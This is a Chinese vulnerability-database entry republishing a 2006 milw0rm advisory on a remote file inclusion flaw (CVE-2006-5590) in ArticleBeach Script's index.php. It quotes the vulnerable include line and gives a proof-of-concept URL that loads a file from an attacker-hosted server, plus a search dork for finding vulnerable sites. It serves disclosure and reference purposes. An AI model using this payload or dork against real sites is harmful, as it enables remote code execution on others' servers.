ArticleBeach Script 'Index.PHP'远程文件包含漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111387 漏洞类型 输入验证
发布时间 2006-10-25 更新时间 2006-11-02
CVE编号 CVE-2006-5590 CNNVD-ID CNNVD-200610-483
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/2645
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200610-483
|漏洞详情
ArticleBeachScript2.0及更早版本的index.php中存在PHP远程文件包含漏洞,远程攻击者可通过page参数中的URL执行任意PHP代码。
|漏洞EXP
------------------------------------------------------------------------------
ArticleBeach Script <= 2.0 (page) Remote File Inclusion Vulnerability
------------------------------------------------------------------------------

Author		: Zeni Susanto a.k.a Bithedz
Date Found	: October, 22th 2006
Location	: Indonesia, Bandung
Critical Lvl	: Highly critical
Impact		: System access
Where		: From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
Application	: ArticleBeach
version		: 2.0
vendor		: http://articlebeach.com
source url      : http://www.articlebeach.com/script/

---------------------------------------------------------------------------

Description:
~~~~~~~~~
Articlebeach is Your one-stop source for free articles. Do you need contents to add to your web site? Or articles for use on your opt-in newsletters and e-zines? ArticleBeach has scoured the web and indexed a huge collection of articles on various subjects. Just click on the appropriate category to read the articles.

---------------------------------------------------------------------------

Vulnerability:
~~~~~~~~~~~~

I found vulnerability script in index.php

---------- index.PHP---------------------------------------------------------
include($_GET["page"].".php"); 
-----------------------------------------------------------------------------

Input passed to the "page" parameter in index.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.



Proof Of Concept:
~~~~~~~~~~~~~

http://target.com/[articlebeach_path]/index.php?page=http://attact.com/colok.txt?

-----------------------------------------------------------------------------

Solution:
~~~~
- download fix in vendor URL 

-----------------------------------------------------------------------------

google d0rk:
~~~~~~~~
"ArticleBeach"

-----------------------------------------------------------------------------
Shoutz:
~~~

~ My Wife Monik 
~ kaiten
~ #e-c-h-o, #bridge (silent) @irc.dal.net
-----------------------------------------------------------------------------

Contact:
~~~~
 
     Bithedz[at]gmail[dot]com
     
-------------------------------- [ EOF ]----------------------------------

# milw0rm.com [2006-10-25]
|参考资料

来源:BID
名称:20730
链接:http://www.securityfocus.com/bid/20730
来源:VUPEN
名称:ADV-2006-4213
链接:http://www.frsirt.com/english/advisories/2006/4213
来源:SECUNIA
名称:22539
链接:http://secunia.com/advisories/22539
来源:MILW0RM
名称:2645
链接:http://milw0rm.com/exploits/2645
来源:XF
名称:articlebeach-index-file-include(29785)
链接:http://xforce.iss.net/xforce/xfdb/29785
来源:BUGTRAQ
名称:20061027ArticleBeachScript<=2.0RemoteFileInclusionVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/449924/100/0/threaded